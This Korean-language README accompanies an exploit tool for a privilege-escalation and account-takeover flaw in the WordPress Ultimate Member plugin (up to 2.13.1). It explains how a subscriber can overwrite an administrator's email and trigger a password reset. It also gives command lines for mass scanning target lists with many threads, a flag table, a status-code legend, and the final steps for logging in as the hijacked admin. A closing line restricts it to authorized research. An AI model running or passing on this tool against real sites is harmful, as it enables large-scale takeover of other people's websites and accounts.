
WordPress Ultimate Member 플러그인 <= 2.13.1 - 권한 상승 취약점
WordPress Ultimate Member 플러그인 <= 2.13.1 - 권한 상승 취약점
Ultimate Member <= 2.13.1 — 권한 상승 / 계정 탈취
📌 공식 기록: CVE-2026-96451
CVE.org에서:
Ultimate Member의 사용자 제어 키를 통한 인가 우회 취약점은 권한 상승을 허용합니다. 이 문제는 Ultimate Member: n/a부터 2.13.1까지 영향을 미칩니다.
| 필드 | 값 |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — 사용자 제어 키를 통한 인가 우회 |
| 📊 CVSS 3.1 | 8.8 HIGH AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 할당자 | Patchstack |
| ⚠️ 영향 받음 | Ultimate Member 2.13.1까지 |
| ✅ 수정됨 | 2.14.0 |
로그인한 구독자는 다른 사용자(보통 관리자)의 이메일을 변경할 수 있습니다. 그러면 WordPress가 해당 새 메일함에 대한 비밀번호 재설정을 수락합니다.
um_fetch_user($user_id)를 호출하고 전역 사용자를 URL의 ID로 전환합니다.download_routing()은 um_reset_user() 없이 반환합니다._um_account=1, user_email=...)도 함께 전달합니다.account_submit()은 um_user('ID')를 읽습니다 — 이제 피해자입니다 — 그리고 새 이메일을 기록합니다.다운로드 nonce는 wp_create_nonce($user_id . $form_id . 'um-download-nonce')입니다. 이는 해당 사용자 ID에 묶여 있습니다. 임의로 만들 수 없습니다. 스크립트는 보이는 /um-download/{form}/{field}/{user}/{nonce}/ 링크에서 이를 복사합니다.
사용자 정의 file 또는 image 필드가 프로필에 표시되어야 합니다. 내장 프로필/커버 사진은 이 링크를 생성하지 않습니다.
pip install requests rich
등록, 로그인, nonce 수집, 익스플로잇, 재설정 확인은 자동입니다. 수동으로 계정을 만들지 않으며 대량 스캔을 위해 구독자 비밀번호를 전달하지도 않습니다.
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
이 명령이 모든 호스트에서 수행하는 작업:
/account/ 열기/um-download/ nonce 찾기 (사용자 ID 1을 우선, 그다음 파일이 있는 모든 멤버)--email로 설정wp-login.php?action=lostpassword 프로브 (WordPress는 여기서 nonce가 필요하지 않음)um_takeover.txt에 기록--email은 재설정을 받을 수 있도록 대상 계정에 설정되는 메일함입니다. 스크립트는 받은 편지함을 열거나 새 비밀번호를 설정하지 않습니다. 그 마지막 단계는 수동입니다.
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| 플래그 | 용도 | 기본값 |
|---|---|---|
-l / --list | 대상 파일 | — |
-u / --url | 단일 대상 | — |
-t / --threads | 워커 | 10 |
-o / --output | 결과 파일 | um_takeover.txt |
--email | 피해자에게 기록될 메일함 | 자동 생성 |
--target-id | 선호하는 사용자 ID | 1 |
--user / --password | 등록 대신 기존 구독자 사용 | 꺼짐 |
-v / --verbose | 모든 단계 출력 | 꺼짐 |
느린 RDP 환경에서는 80–150 스레드면 충분합니다. 목록 스캔은 각 호스트에 약 22초를 할당합니다.
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| 코드 | 의미 |
|---|---|
RST / CHG | 이메일 변경 및/또는 재설정 수락됨 — 받은 편지함 확인 |
UM | Ultimate Member 탐지됨 |
REG | 자동 등록으로 세션 생성됨 |
rf | 공개 양식, CAPTCHA, 승인 또는 이메일 활성화 없음 |
lf | 등록되었지만 로그인 실패 |
na | 계정 페이지 / nonce 없음 |
nd | 보이는 다운로드 nonce 없음 (사용자 정의 파일 필드 없음) |
nc | 익스플로잇 전송됨, 변경 확인되지 않음 |
no | Ultimate Member 아님 |
많은 호스트에서 REG_FAIL은 정상입니다. 체인은 등록이 세션을 생성하고 동시에 다운로드 링크가 보이는 경우에만 계속됩니다.
RST 또는 CHG가 나타나면:
--email로 전달한 메일함 열기/wp-login.php 또는 /wp-admin/에서 로그인이 프로젝트는 승인된 보안 연구 전용입니다 — 소유한 시스템 또는 서면 허가를 받아 테스트하는 시스템에 한합니다.
컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 소프트웨어의 오용, 손상 또는 모든 결과에 대해 어떠한 책임도 지지 않습니다. 사용 방식과 스캔하는 모든 대상에 대한 책임은 전적으로 사용자에게 있습니다.
By: Nxploited ( Khaled Alenazi )